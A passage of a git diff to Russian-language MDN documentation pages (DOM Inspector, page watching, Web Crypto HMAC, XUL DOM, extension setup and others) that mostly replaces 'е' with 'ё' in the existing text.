ссылка была привязана к одному из файлов, прикрепленному к этой странице. Это отличный способ предоставить ссылку для скачивания примера кода и тому подобное.</dd> + <dd>В качестве альтернативы вы можете сделать так, чтобы ссылка была привязана к одному из файлов, прикреплённому к этой странице. Это отличный способ предоставить ссылку для скачивания примера кода и тому подобное.</dd> <dt>URL</dt> <dd>Наконец, поле для URL-адреса позволяет вам ввести URL; в поле также выводятся URL выбранных вами элементов из меню <strong>Article Title Lookup</strong> или <strong>Attachments</strong>, если вы их использовали. Нередко используют URL-адреса страниц MDN, поэтому, если вы ссылаетесь на другую страницу MDN, удалите доменное имя ("https://developer.mozilla.org") из начала URL.</dd> </dl> diff --git a/files/ru/orphaned/mdn/tools/page_watching/index.html b/files/ru/orphaned/mdn/tools/page_watching/index.html index 3118cf34c3..4c75e0f72b 100644 --- a/files/ru/orphaned/mdn/tools/page_watching/index.html +++ b/files/ru/orphaned/mdn/tools/page_watching/index.html @@ -16,23 +16,23 @@ original_slug: MDN/Tools/Page_watching <p><img alt="Screenshot of MDN Watch menu" src="https://mdn.mozillademos.org/files/12551/MDN_-_Watch_Menu.png" style="height: 298px; width: 463px;"></p> -<p>Выберите вариант просмотра только одной страницы или этой страницы и ее подстраниц.</p> +<p>Выберите вариант просмотра только одной страницы или этой страницы и её подстраниц.</p> <h2 id="Подписаться_на_страницу">Подписаться на страницу</h2> <p>Нажмите первый вариант <em>«Подписаться на название страницы»</em>, чтобы получать уведомление по электронной почте каждый раз, когда пользователь редактирует только одну страницу.</p> -<h2 id="Подпишитесь_на_страницу_и_все_ее_подзаголовки">Подпишитесь на страницу и все ее подзаголовки</h2> +<h2 id="Подпишитесь_на_страницу_и_все_её_подзаголовки">Подпишитесь на страницу и все её подзаголовки</h2> <p>Нажмите второй вариант <em>«Подписаться на название страницы и все её под-статьи»</em>, чтобы получать уведомление по электронной почте каждый раз, когда пользователь редактирует эту страницу, а также любую её подстраницу. Это включает в себя дополнительные страницы, добавленные после того, как вы запросили подписку, поэтому, если в будущем будет создано больше подстраниц, вы также получите уведомления для них.</p> <h2 id="Отменить_подписку_на_страницу">Отменить подписку на страницу</h2> -<p>Чтобы отказаться от подписки и прекратить просмотр страницы, откройте меню «Смотреть» еще раз и нажмите <em>«Отменить подписку на название страницы»</em>. Если вы подписаны на страницу, вы увидите только <em>«Отказаться от названия страницы»</em>. Вы больше не будете получать электронное письмо при каждом изменении страницы.</p> +<p>Чтобы отказаться от подписки и прекратить просмотр страницы, откройте меню «Смотреть» ещё раз и нажмите <em>«Отменить подписку на название страницы»</em>. Если вы подписаны на страницу, вы увидите только <em>«Отказаться от названия страницы»</em>. Вы больше не будете получать электронное письмо при каждом изменении страницы.</p> <h2 id="Электронные_письма_с_изменением_страницы">Электронные письма с изменением страницы</h2> -<p>Если вы подписаны на страницу, каждый раз при сохранении изменений вы получите электронное письмо. Эти письма поступают с notifications@developer.mozilla.org и отправляются на адрес электронной почты, зарегистрированный на вашей учетной записи MDN. Каждое сообщение имеет заголовок формы:</p> +<p>Если вы подписаны на страницу, каждый раз при сохранении изменений вы получите электронное письмо. Эти письма поступают с notifications@developer.mozilla.org и отправляются на адрес электронной почты, зарегистрированный на вашей учётной записи MDN. Каждое сообщение имеет заголовок формы:</p> <pre class="notranslate">[MDN] Page "<em>Page title</em>" changed by <em>username</em></pre> @@ -41,11 +41,11 @@ original_slug: MDN/Tools/Page_watching <p>Ниже diff есть список полезных ссылок, которые вы можете использовать для изменения, включая:</p> <ul> - <li>Просмотр профиля MDN пользователя, внесшего изменения</li> + <li>Просмотр профиля MDN пользователя, внёсшего изменения</li> <li>Сравнение предыдущих и новых версий страницы с использованием функции истории событий на MDN</li> - <li>Просмотр статьи в своем браузере</li> + <li>Просмотр статьи в своём браузере</li> <li>Редактирование статьи</li> <li>Просмотр истории статьи</li> </ul> -<p>В нижней части письма есть уведомление о том, какая подписка сгенерировала электронное письмо, например «Вы подписаны на изменения: ссылка на элемент HTML и все его подтемы», а также ссылку на отмену подписки. Если вы нажмете ссылку, чтобы отказаться от подписки, вы больше не будете получать сообщения для этого запроса на просмотр.</p> +<p>В нижней части письма есть уведомление о том, какая подписка сгенерировала электронное письмо, например «Вы подписаны на изменения: ссылка на элемент HTML и все его подтемы», а также ссылку на отмену подписки. Если вы нажмёте ссылку, чтобы отказаться от подписки, вы больше не будете получать сообщения для этого запроса на просмотр.</p> diff --git a/files/ru/orphaned/tools/add-ons/dom_inspector/index.html b/files/ru/orphaned/tools/add-ons/dom_inspector/index.html index 3316c31f83..719178baac 100644 --- a/files/ru/orphaned/tools/add-ons/dom_inspector/index.html +++ b/files/ru/orphaned/tools/add-ons/dom_inspector/index.html @@ -49,10 +49,10 @@ ac_add_options --enable-inspector-apis</code></pre> <dd>Выберите Инструменты > Веб-разработка > Инспектор DOM. Вы также можете установить боковую панель через Правка > Настройки > Дополнительно > Инспектор DOM, затем просто откройте панель инспектора DOM и посетите любой веб-сайт.</dd> </dl> -<h2 id="Report_a_bug_in_DOM_Inspector" name="Report_a_bug_in_DOM_Inspector">Отчет об ошибке в DOM Inspector</h2> +<h2 id="Report_a_bug_in_DOM_Inspector" name="Report_a_bug_in_DOM_Inspector">Отчёт об ошибке в DOM Inspector</h2> <p>Использовать удобно именованный раздел <a href="https://bugzilla.mozilla.org/enter_bug.cgi?format=__default__&product=Other%20Applications&component=DOM%20Inspector">компонент «Инспектор DOM» в Bugzilla</a>.</p> -<p>Чтобы узнать о тех, кто знает <a href="https://hg.mozilla.org/dom-inspector" title="https://hg.mozilla.org/dom-inspector"> код DOM Inspector</a> и где он живет, см. <a class="link-https" href="https://wiki.mozilla.org/Modules/All#DOM_Inspector" title="https://wiki.mozilla.org/Modules/All#DOM_Inspector"> <span class="external"> листинг модуля DOM Inspector</span></a>.</p> +<p>Чтобы узнать о тех, кто знает <a href="https://hg.mozilla.org/dom-inspector" title="https://hg.mozilla.org/dom-inspector"> код DOM Inspector</a> и где он живёт, см. <a class="link-https" href="https://wiki.mozilla.org/Modules/All#DOM_Inspector" title="https://wiki.mozilla.org/Modules/All#DOM_Inspector"> <span class="external"> листинг модуля DOM Inspector</span></a>.</p> <p>{{ languages( { "es": "es/DOM_Inspector", "it": "it/DOM_Inspector", "fr": "fr/Inspecteur_DOM", "ja": "ja/DOM_Inspector", "ko": "ko/DOM_Inspector", "pl": "pl/Inspektor_DOM" } ) }}</p> diff --git a/files/ru/orphaned/web/api/web_crypto_api/checking_authenticity_with_password/index.html b/files/ru/orphaned/web/api/web_crypto_api/checking_authenticity_with_password/index.html index 0e81e9847e..903e7cc7a2 100644 --- a/files/ru/orphaned/web/api/web_crypto_api/checking_authenticity_with_password/index.html +++ b/files/ru/orphaned/web/api/web_crypto_api/checking_authenticity_with_password/index.html @@ -11,11 +11,11 @@ original_slug: Web/API/Web_Crypto_API/Checking_authenticity_with_password <p>Проверка подлинности данных может быть выполнена с помощью Web Crypto API. В этой статье мы покажем как создавать и управлять подписями, используя хэш-функцию и пароль.</p> -<p>HMAC алгоритм генерирует хэш на основе передаваемых ключа и данных, которые нужно подписать. Позже, идентичный хэш может быть вычислен заново любым пользователем, у которого имеется ключ. Необходимость ключа позволяет хранить данные и хэш вместе: злоумышленник не сможет создать хэш для измененных данных, не имея ключа.</p> +<p>HMAC алгоритм генерирует хэш на основе передаваемых ключа и данных, которые нужно подписать. Позже, идентичный хэш может быть вычислен заново любым пользователем, у которого имеется ключ. Необходимость ключа позволяет хранить данные и хэш вместе: злоумышленник не сможет создать хэш для изменённых данных, не имея ключа.</p> <p>Стоит заметить, что алгоритм никак не связан с какой-либо другой информацией о владельце: знание ключа – необходимое и достаточное условие для изменения данных.</p> -<p>Предположим, данные хранятся на компьютере. Чтобы получить доступ к записи или чтению, мы будем использовать <code>localforage.js</code> – библиотека-обертка над хранилищами браузера. Эта библиотека необязательна и используется в качестве примера для удобства, чтобы сосредоточиться на криптографии.</p> +<p>Предположим, данные хранятся на компьютере. Чтобы получить доступ к записи или чтению, мы будем использовать <code>localforage.js</code> – библиотека-обёртка над хранилищами браузера. Эта библиотека необязательна и используется в качестве примера для удобства, чтобы сосредоточиться на криптографии.</p> <p>Данные, доступ к которым мы хотим получить, имеют следующую форму:</p> diff --git a/files/ru/orphaned/web/html/element/element/index.html b/files/ru/orphaned/web/html/element/element/index.html index cdb961e381..cc146093e7 100644 --- a/files/ru/orphaned/web/html/element/element/index.html +++ b/files/ru/orphaned/web/html/element/element/index.html @@ -7,7 +7,7 @@ original_slug: Web/HTML/Element/element <p>{{obsolete_header}}</p> <div class="note"> -<p><strong>Заметка:</strong> Этот элемент удален из спецификации. Смотри <a href="http://lists.w3.org/Archives/Public/public-webapps/2013JulSep/0287.html">здесь </a>больше дополнительной информации от редактора спецификации.</p> +<p><strong>Заметка:</strong> Этот элемент удалён из спецификации. Смотри <a href="http://lists.w3.org/Archives/Public/public-webapps/2013JulSep/0287.html">здесь </a>больше дополнительной информации от редактора спецификации.</p> </div> <h2 id="Summary" name="Summary">Краткая информация</h2> @@ -21,7 +21,7 @@ original_slug: Web/HTML/Element/element <td><a href="/en-US/docs/Web/HTML/Content_categories#Transparent_content">Прозрачный контент</a>.</td> </tr> <tr> - <th scope="row">Разрешенный контент</th> + <th scope="row">Разрешённый контент</th> <td>???</td> </tr> <tr> @@ -29,7 +29,7 @@ original_slug: Web/HTML/Element/element <td>{{no_tag_omission}}</td> </tr> <tr> - <th scope="row"><span class="short_text" id="result_box" lang="ru"><span>Разрешенные родительские элементы</span></span></th> + <th scope="row"><span class="short_text" id="result_box" lang="ru"><span>Разрешённые родительские элементы</span></span></th> <td>???</td> </tr> <tr> diff --git a/files/ru/orphaned/web/html/global_attributes/dropzone/index.html b/files/ru/orphaned/web/html/global_attributes/dropzone/index.html index 5ea0689fce..dce803241d 100644 --- a/files/ru/orphaned/web/html/global_attributes/dropzone/index.html +++ b/files/ru/orphaned/web/html/global_attributes/dropzone/index.html @@ -9,9 +9,9 @@ original_slug: Web/HTML/Global_attributes/dropzone <p><a href="/en-US/docs/Web/HTML/Global_attributes">Глобальный атрибут</a> <code>dropzone</code> является перечисляемым атрибутом, указывающем, какие типы содержимого могут быть опущены в элементе, используя {{domxref("HTML_Drag_and_Drop_API","HTML Drag and Drop API")}}. Может иметь следующие значения:</p> <ul> - <li><code>copy</code>, которая указывает что сброс создает копию перетаскиваемого элемента.</li> - <li><code>move</code>, которое указывает, что перетаскиваемы элемент будет перемещен в новое местоположение.</li> - <li><code>link</code>, которая создает ссылку на перетаскиваемые данные.</li> + <li><code>copy</code>, которая указывает что сброс создаёт копию перетаскиваемого элемента.</li> + <li><code>move</code>, которое указывает, что перетаскиваемы элемент будет перемещён в новое местоположение.</li> + <li><code>link</code>, которая создаёт ссылку на перетаскиваемые данные.</li> </ul> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/orphaned/web/javascript/guide/об_этом_руководстве/index.html b/files/ru/orphaned/web/javascript/guide/об_этом_руководстве/index.html index 7a71d93a38..68ff635c0b 100644 --- a/files/ru/orphaned/web/javascript/guide/об_этом_руководстве/index.html +++ b/files/ru/orphaned/web/javascript/guide/об_этом_руководстве/index.html @@ -36,16 +36,16 @@ var s = ""; <p><span id="result_box" lang="ru"><span class="hps">JavaScript</span> <span class="hps">документация включает в себя</span> <span class="hps">следующие книги:</span></span></p> <ul> <li><a href="/en/JavaScript/Guide" title="en/Core_JavaScript_1.5_Guide">JavaScript Guide</a> <span id="result_box" lang="ru"><span class="hps atn">(</span><span>это руководство</span><span>) предоставляет информацию о</span> <span class="hps">языке</span> <span class="hps">JavaScript</span> <span class="hps">и его объектах.</span></span></li> <li><a href="/en/JavaScript/Reference" title="en/JavaScript/Reference">JavaScript Reference</a> <span class="short_text" id="result_box" lang="ru"><span class="hps">содержит справочный материал о</span> <span class="hps">языке</span> <span class="hps">JavaScript.</span></span></li> </ul> -<p><span id="result_box" lang="ru"><span class="hps">Если</span> <span class="hps">вы новичок в</span> <span class="hps">JavaScript</span><span>, начните с</span></span> <a href="/en/JavaScript/Guide" title="en/Core_JavaScript_1.5_Guide"><span id="result_box" lang="ru"><span class="hps">руководства</span> <span class="hps">JavaScript.</span></span></a> <span id="result_box" lang="ru"><span class="hps">Если у вас есть</span> <span class="hps">твердое понимание</span> <span class="hps">основы</span><span>, вы можете использовать</span></span> <a href="/en/JavaScript/Reference" title="en/JavaScript/Reference">Справочник по JavaScript</a> <span id="result_box" lang="ru"><span>чтобы получить</span> <span class="hps">более подробную информацию</span> <span class="hps">на отдельных</span> <span class="hps">объектах и операторах.</span></span></p> +<p><span id="result_box" lang="ru"><span class="hps">Если</span> <span class="hps">вы новичок в</span> <span class="hps">JavaScript</span><span>, начните с</span></span> <a href="/en/JavaScript/Guide" title="en/Core_JavaScript_1.5_Guide"><span id="result_box" lang="ru"><span class="hps">руководства</span> <span class="hps">JavaScript.</span></span></a> <span id="result_box" lang="ru"><span class="hps">Если у вас есть</span> <span class="hps">твёрдое понимание</span> <span class="hps">основы</span><span>, вы можете использовать</span></span> <a href="/en/JavaScript/Reference" title="en/JavaScript/Reference">Справочник по JavaScript</a> <span id="result_box" lang="ru"><span>чтобы получить</span> <span class="hps">более подробную информацию</span> <span class="hps">на отдельных</span> <span class="hps">объектах и операторах.</span></span></p> <h2 id="Советы_для_изучения_JavaScript"><span class="short_text" id="result_box" lang="ru"><span class="hps">Советы</span> <span class="hps">для изучения</span> <span class="hps">JavaScript</span></span></h2> <p><span id="result_box" lang="ru"><span class="hps">Начало работы с</span> <span class="hps">JavaScript</span> <span class="hps">очень просто:</span> <span class="hps">все, что вам</span> <span class="hps">нужно, это</span> <span class="hps">современный</span> <span class="hps">веб-браузер.</span> <span class="hps">Это руководство</span> <span class="hps">включает в себя некоторые</span> <span class="hps">функции</span> <span class="hps">JavaScript</span><span>, которые только</span> <span class="hps">в настоящее время</span> <span class="hps">доступна в последней</span> <span class="hps">версии</span> <span class="hps atn">Firefox (</span><span>и других</span> браузеров с движком Gecko<span class="hps">)</span><span>, поэтому </span></span><span id="result_box" lang="ru"><span class="hps">рекомендуется</span></span><span id="result_box" lang="ru"><span> использование</span> <span class="hps">самых</span> <span class="hps">последних версий</span> <span class="hps">Firefox</span><span class="hps">.</span></span></p> <h3 id="Интерактивный_интерпретатор"><span class="short_text" id="result_box" lang="ru"><span>Интерактивный интерпретатор</span></span></h3> -<p>Диалоговый JavaScript незамедлительно - неоценимая помощь изучению языка, так как это предоставляет вам возможность пробовать вещи в интерактивном режиме без необходимости сохранить файл и обновить страницу. Ошибочная Консоль Firefox, доступная через меню Инструменты, обеспечивает простой путь пробовать диалоговый JavaScript: Только вводят линию кода и щелкают кнопку "Evaluate".</p> +<p>Диалоговый JavaScript незамедлительно - неоценимая помощь изучению языка, так как это предоставляет вам возможность пробовать вещи в интерактивном режиме без необходимости сохранить файл и обновить страницу. Ошибочная Консоль Firefox, доступная через меню Инструменты, обеспечивает простой путь пробовать диалоговый JavaScript: Только вводят линию кода и щёлкают кнопку "Evaluate".</p> <p><img alt="Image:ErrorConsole.png" class="internal" src="/@api/deki/files/192/=ErrorConsole.png"></p> <h3 id="Firebug">Firebug</h3> <p>Более передовой диалоговый незамедлительно - доступный использующий <a class="external" href="http://www.getfirebug.com/">Firebug</a>, дополнение к Firefox. Выражения, которые вы печатаете, интерпретируются как объекты <span id="result_box" lang="ru"><span class="hps">и</span> <span class="hps">связанные с</span> <span class="hps">другими частями</span> <span class="hps">Firebug.</span></span> <span id="result_box" lang="ru"><span class="hps">Например, вы</span> <span class="hps">можете добавить</span> <span class="hps">5 плюс</span> <span class="hps">5,</span> <span class="hps">изменять регистр</span> <span class="hps">строки</span><span>,</span></span> get a clickable link to the document, or get a link to an element:</p> <p><img alt="" class="internal" src="/@api/deki/files/5188/=FirebugCommandLine.PNG" style="width: 728px; height: 281px;"></p> -<p><span id="result_box" lang="ru"><span class="hps">Использование</span> <span class="hps">стрелки на</span> <span class="hps">правом нижнем углу</span> <span class="hps">дает</span> <span class="hps">команду</span> <span class="hps">редактор для</span> <span class="hps">многострочного</span> <span class="hps">сценариев.</span></span></p> +<p><span id="result_box" lang="ru"><span class="hps">Использование</span> <span class="hps">стрелки на</span> <span class="hps">правом нижнем углу</span> <span class="hps">даёт</span> <span class="hps">команду</span> <span class="hps">редактор для</span> <span class="hps">многострочного</span> <span class="hps">сценариев.</span></span></p> <p>Firebug also provides an advanced DOM inspector, a JavaScript debugger, a profiling tool and various other utilities. JavaScript code running in a Web page can call, <code>console.log()</code>, a function that prints its arguments to the Firebug console.</p> <p>Many of the examples in this guide use <code>alert()</code> to show messages as they execute. If you have Firebug installed you can use <code>console.log()</code> in place of <code>alert()</code> when running these examples.</p> <h2 id="Document_conventions">Document conventions</h2> diff --git a/files/ru/orphaned/web/security/information_security_basics/index.html b/files/ru/orphaned/web/security/information_security_basics/index.html index 53535a9992..96088ba6e6 100644 --- a/files/ru/orphaned/web/security/information_security_basics/index.html +++ b/files/ru/orphaned/web/security/information_security_basics/index.html @@ -4,7 +4,7 @@ slug: orphaned/Web/Security/Information_Security_Basics translation_of: Web/Security/Information_Security_Basics original_slug: Web/Security/Information_Security_Basics --- -<p><span class="seoSummary">Базовое понимание информационной безопасности, поможет обезопасить ваше программное обеспечение и сайты от уязвимостей открывающим доступ к финансовым махинациям и прочим противоправным действиям. Из этих статей вы сможете узнать все что для этого необходимо.</span> Вооружившись этой информацией, вы поймете роль и важность безопасности начиная от цикла веб-разработки вплоть до размещения вашего контента. </p> +<p><span class="seoSummary">Базовое понимание информационной безопасности, поможет обезопасить ваше программное обеспечение и сайты от уязвимостей открывающим доступ к финансовым махинациям и прочим противоправным действиям. Из этих статей вы сможете узнать все что для этого необходимо.</span> Вооружившись этой информацией, вы поймёте роль и важность безопасности начиная от цикла веб-разработки вплоть до размещения вашего контента. </p> <dl> <dt><a href="/en-US/docs/Web/Security/Information_Security_Basics/Confidentiality,_Integrity,_and_Availability">Конфиденциальность, целостность и доступность</a></dt> diff --git a/files/ru/orphaned/веб-стандарты/index.html b/files/ru/orphaned/веб-стандарты/index.html index fe2fd3a4f0..befc8b983e 100644 --- a/files/ru/orphaned/веб-стандарты/index.html +++ b/files/ru/orphaned/веб-стандарты/index.html @@ -5,7 +5,7 @@ original_slug: Веб-стандарты --- <p style="text-align: justify;">Веб-стандарты, как следует из их названия, являются стандартами в области веб-технологий. Эти стандарты являются рекомендациями для разработчиков программного обеспечения и для веб-мастеров. Служат веб-стандарты для того, чтобы, с одной стороны, пользователи ПО без проблем и неудобств могли пользоваться сетью интернет, а с другой стороны, для того, чтобы разработчики программного обеспечения или веб-мастера были уверены в работоспособности своих продуктов.</p> <p style="text-align: justify;">Исторически сложилось так, что в начале 90-х годов XX века развязалась так называемая "война браузеров" между компанией Netscape и Microsoft. Суть войны заключалась в том, что разработчики веб-браузеров стремились привнести в продукты своих разработок собственные новые функции, но при этом совершенно не заботились о совместимости технологий и не согласовывали свои действия с разработчиками конкурирующей компании. По этой причине начало возрастать недовольство как среди людей, создающих сайты, так и среди людей, пользующихся сетью интернет - ведь сайты, которые были написаны специально для Netscape Navigator крайне плохо работали в Microsoft Intrnet Explorer и наоборот посредством Internet Explorer почти невозможно было просматривать сайт, написанный для Netscape Navigator.</p> -<p style="text-align: justify;">В 1994 году в Массачусетском технологическом институте при поддержке CERN, DARPA и Европейской Комиссии появилась организация <strong>World Wide Web Consortcium</strong> или, сокращенно, <strong>W3C</strong>. Целью консорциума по сей день является упорядочивание всех веб-технологий для того, чтобы обеспечить их доступность как можно большему числу людей всего мира.</p> +<p style="text-align: justify;">В 1994 году в Массачусетском технологическом институте при поддержке CERN, DARPA и Европейской Комиссии появилась организация <strong>World Wide Web Consortcium</strong> или, сокращённо, <strong>W3C</strong>. Целью консорциума по сей день является упорядочивание всех веб-технологий для того, чтобы обеспечить их доступность как можно большему числу людей всего мира.</p> <p style="text-align: justify;">Начиная, примерно, с 2000 года все крупные производители программного обеспечения для сети интернет стараются придерживаться стандартов W3C для того, чтобы обеспечить своим продуктам максимальную эффективность и совместимость с большинством веб-ресурсов. Результат работы консорциума по стандартизации веб-технологий на сегодняшний день очень значителен и выражается в том, что веб-технологии получают все большее распространение в нашем мире и упрощают многим жизнь.</p> <h1 id="Ссылки">Ссылки</h1> <p>Официальный сайт W3C (англ.): <a class=" external" href="http://www.w3.org" rel="freelink">http://www.w3.org</a></p> diff --git a/files/ru/orphaned/динамически_изменяемый_пользовательский_интерфейс_на_xul/index.html b/files/ru/orphaned/динамически_изменяемый_пользовательский_интерфейс_на_xul/index.html index e1243dbba0..0af3771593 100644 --- a/files/ru/orphaned/динамически_изменяемый_пользовательский_интерфейс_на_xul/index.html +++ b/files/ru/orphaned/динамически_изменяемый_пользовательский_интерфейс_на_xul/index.html @@ -13,7 +13,7 @@ original_slug: Динамически_изменяемый_пользовате <p>Как вы знаете, <a href="/ru/XUL" title="ru/XUL">XUL</a> — это язык, основанный на <a href="/ru/XML" title="ru/XML">XML</a>, который использовался в различных приложениях, основанных на Mozilla, таких как Firefox и Thunderbird, для описания пользовательского интерфейса. В XUL приложениях <a href="/ru/JavaScript" title="ru/JavaScript">JavaScript</a> объявляет поведение, используя <a href="/ru/Gecko_DOM_Reference" title="ru/Gecko_DOM_Reference">DOM APIs</a> для доступа к XUL документу.</p> <p>Так что же такое <strong>D</strong>ocument <strong>O</strong>bject <strong>M</strong>odel APIs?</p> <p>Это интерфейсы, которые используются при любом взаимодействии скрипта и документа. Если вы когда-либо писали скрипт, который взаимодействует с XUL (или HTML) документом, то вы уже использовали DOM-вызовы. Пожалуй, наиболее известным DOM методом является <code><a href="/ru/DOM/document.getElementById" title="ru/DOM/document.getElementById">document.getElementById()</a></code>, который возвращает элемент с заданным <code>id</code>. Возможно, вы использовали и другие DOM-вызовы, такие как <code><a href="/ru/DOM/element.setAttribute" title="ru/DOM/element.setAttribute">element.setAttribute()</a></code>, или, если вы писали расширения, метод <code><a href="/ru/DOM/element.addEventListener" title="ru/DOM/element.addEventListener">addEventListener()</a></code>. Все они объявлены в DOM.</p> -<p>Существуют также DOM-методы, которые создают, перемещают или удаляют элементы из документа. Они будут продемонстрированы позже в этом параграфе. А сейчас давайте поймем, что такое <em>document</em>.</p> +<p>Существуют также DOM-методы, которые создают, перемещают или удаляют элементы из документа. Они будут продемонстрированы позже в этом параграфе. А сейчас давайте поймём, что такое <em>document</em>.</p> <h3 id=".D0.A7.D1.82.D0.BE_.D1.82.D0.B0.D0.BA.D0.BE.D0.B5_document.3F" name=".D0.A7.D1.82.D0.BE_.D1.82.D0.B0.D0.BA.D0.BE.D0.B5_document.3F">Что такое document?</h3> <p>Document — это структура данных, которой можно управлять через DOM APIs. Логической структурой каждого объекта document является дерево с узлами-элементами, атрибутами, комментариями и т.д. Используйте инструмент <a href="/ru/DOM_Inspector" title="ru/DOM_Inspector">DOM Inspector</a>, чтобы увидеть древовидное представление любого объекта document.</p> <p>Можно считать, что document — это представление в памяти правильного HTML или хорошо сформированного XML, как, например, xhtml или XUL.</p> @@ -32,12 +32,12 @@ original_slug: Динамически_изменяемый_пользовате <p>Этот пример добавляет два новых элемента меню к <code><a href="/ru/XUL/menupopup" title="ru/XUL/menupopup"><menupopup></a></code>: в начало и в конец. Здесь используется метод <code><a href="/ru/DOM/document.createElementNS" title="ru/DOM/document.createElementNS">document.createElementNS()</a></code> для создания элементов и <code><a href="/ru/DOM/element.insertBefore" title="ru/DOM/element.insertBefore">insertBefore()</a></code> с <code><a href="/ru/DOM/element.appendChild" title="ru/DOM/element.appendChild">appendChild()</a></code> для вставки созданных xml элементов в документ.</p> <p>Замечания:</p> <ul> - <li><code><a href="/ru/DOM/document.createElementNS" title="ru/DOM/document.createElementNS">document.createElementNS()</a></code> создает элемент, но не добавляет ничего в document. Необходимо воспользоваться другим DOM-методом, таким как <code><a href="/ru/DOM/element.appendChild" title="ru/DOM/element.appendChild">appendChild()</a></code> для вставки только что созданного элемента в document.</li> + <li><code><a href="/ru/DOM/document.createElementNS" title="ru/DOM/document.createElementNS">document.createElementNS()</a></code> создаёт элемент, но не добавляет ничего в document. Необходимо воспользоваться другим DOM-методом, таким как <code><a href="/ru/DOM/element.appendChild" title="ru/DOM/element.appendChild">appendChild()</a></code> для вставки только что созданного элемента в document.</li> <li><code><a href="/ru/DOM/element.appendChild" title="ru/DOM/element.appendChild">appendChild()</a></code> добавляет узел после других узлов, а <code><a href="/ru/DOM/element.insertBefore" title="ru/DOM/element.insertBefore">insertBefore()</a></code> вставляет узел перед узлом, указанным во втором параметре.</li> </ul> <pre class="eval">function createMenuItem(aLabel) { const XUL_NS = "<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>"; - var item = document.createElementNS(XUL_NS, "menuitem"); // Создаем новый элемент меню XUL + var item = document.createElementNS(XUL_NS, "menuitem"); // Создаём новый элемент меню XUL item.setAttribute("label", aLabel); return item; } @@ -52,7 +52,7 @@ popup.appendChild(last); </pre> <p>Этот оператор удалит узел из его текущего места и заново вставит его в конец popup'а.</p> <h3 id=".D0.90.D0.BD.D0.BE.D0.BD.D0.B8.D0.BC.D0.BD.D0.BE.D0.B5_.D1.81.D0.BE.D0.B4.D0.B5.D1.80.D0.B6.D0.B8.D0.BC.D0.BE.D0.B5_.28XBL.29" name=".D0.90.D0.BD.D0.BE.D0.BD.D0.B8.D0.BC.D0.BD.D0.BE.D0.B5_.D1.81.D0.BE.D0.B4.D0.B5.D1.80.D0.B6.D0.B8.D0.BC.D0.BE.D0.B5_.28XBL.29">Анонимное содержимое (XBL)</h3> -<p><a href="/ru/XBL" title="ru/XBL">XBL</a> — это язык, используемый в Mozilla для объявления новых виджетов. Виджеты, объявленные в XBL можно выбирать для объявления некоторого содержимого, объединенного в связку с помощью граничного элемента. Такое содержимое называется <em>анонимное содержимое</em> и оно не доступно через обычную модель DOM. <span class="comment">(подкорректируйте, я не понял смысла</span>).</p> +<p><a href="/ru/XBL" title="ru/XBL">XBL</a> — это язык, используемый в Mozilla для объявления новых виджетов. Виджеты, объявленные в XBL можно выбирать для объявления некоторого содержимого, объединённого в связку с помощью граничного элемента. Такое содержимое называется <em>анонимное содержимое</em> и оно не доступно через обычную модель DOM. <span class="comment">(подкорректируйте, я не понял смысла</span>).</p> <p>Вместо этого вам необходимо использовать методы интерфейса <code><a href="/ru/NsIDOMDocumentXBL" title="ru/NsIDOMDocumentXBL">nsIDOMDocumentXBL</a></code>. Например:</p> <pre class="eval">// Выбирает первый анонимный дочерний элемент для заданного document.getAnonymousNodes(node)[0]; diff --git a/files/ru/orphaned/настройка_среды_разработки_расширений/index.html b/files/ru/orphaned/настройка_среды_разработки_расширений/index.html index 7c408ddfd9..2b42897a3d 100644 --- a/files/ru/orphaned/настройка_среды_разработки_расширений/index.html +++ b/files/ru/orphaned/настройка_среды_разработки_расширений/index.html @@ -24,7 +24,7 @@ start "" "%ProgramFiles%\Mozilla Firefox\firefox.exe" -ProfileManager <p>для Windows.</p> -<p>После создания профиля (назовем его <code>myDevProfile</code>) можно запустить Firefox, указав ключ <code>"-P myDevProfile"</code>. Профиль по умолчанию называется <code>"default"</code>. Таким образом, для удобства запуска можно создать 2 ярлыка (символические ссылки) на Firefox с ключами <code>"-P <profileName>"</code>.</p> +<p>После создания профиля (назовём его <code>myDevProfile</code>) можно запустить Firefox, указав ключ <code>"-P myDevProfile"</code>. Профиль по умолчанию называется <code>"default"</code>. Таким образом, для удобства запуска можно создать 2 ярлыка (символические ссылки) на Firefox с ключами <code>"-P <profileName>"</code>.</p> <p>Однако обычно нельзя запустить 2 копии Firefox с разными профилями. Чтобы сделать это укажите при запуске дополнительно ключ <code>"-no-remote"</code>.</p> @@ -66,7 +66,7 @@ start "" "%ProgramFiles%\Mozilla Firefox\firefox.exe" -ProfileManager <ol> <li>Найдите папку с вашим профилем. Если вы не создавали его специально, браузер использует профиль по умолчанию. <a class="external" href="http://kb.mozillazine.org/Profile_folder">Как найти папку с профилем.</a></li> - <li>Откройте папку <code>extensions</code>. Если ее нет, создайте ее.</li> + <li>Откройте папку <code>extensions</code>. Если её нет, создайте ее.</li> <li>Создайте новый текстовый файл и поместите в него лишь путь к вашему расширению (напр., <code>C:\extensions\my_extension\</code> для Windows или <code>~/extensions/my_extension/</code> для Unix/Linux). Сохраните файл под именем, одинаковым с <code>id</code> вашего расширения.</li> </ol> @@ -74,7 +74,7 @@ start "" "%ProgramFiles%\Mozilla Firefox\firefox.exe" -ProfileManager <ul> <li>Не забудьте конечный слеш.</li> - <li>Возможно возникновение проблем из-за знаков нижнего подчеркивания в названии; если так вышло, измените его.</li> + <li>Возможно возникновение проблем из-за знаков нижнего подчёркивания в названии; если так вышло, измените его.</li> </ul> <h3 id=".D0.98.D1.81.D0.BF.D0.BE.D0.BB.D1.8C.D0.B7.D0.BE.D0.B2.D0.B0.D0.BD.D0.B8.D0.B5_.D0.BF.D0.B0.D0.BF.D0.BE.D0.BA.2C_.D0.B0_.D0.BD.D0.B5_JAR.27.D0.BE.D0.B2" name=".D0.98.D1.81.D0.BF.D0.BE.D0.BB.D1.8C.D0.B7.D0.BE.D0.B2.D0.B0.D0.BD.D0.B8.D0.B5_.D0.BF.D0.B0.D0.BF.D0.BE.D0.BA.2C_.D0.B0_.D0.BD.D0.B5_JAR.27.D0.BE.D0.B2">Использование папок, а не JAR'ов</h3> diff --git a/files/ru/orphaned/переход_с_internet_explorer_на_mozilla/index.html b/files/ru/orphaned/переход_с_internet_explorer_на_mozilla/index.html index f7c8b5d32c..e17b95e6ca 100644 --- a/files/ru/orphaned/переход_с_internet_explorer_на_mozilla/index.html +++ 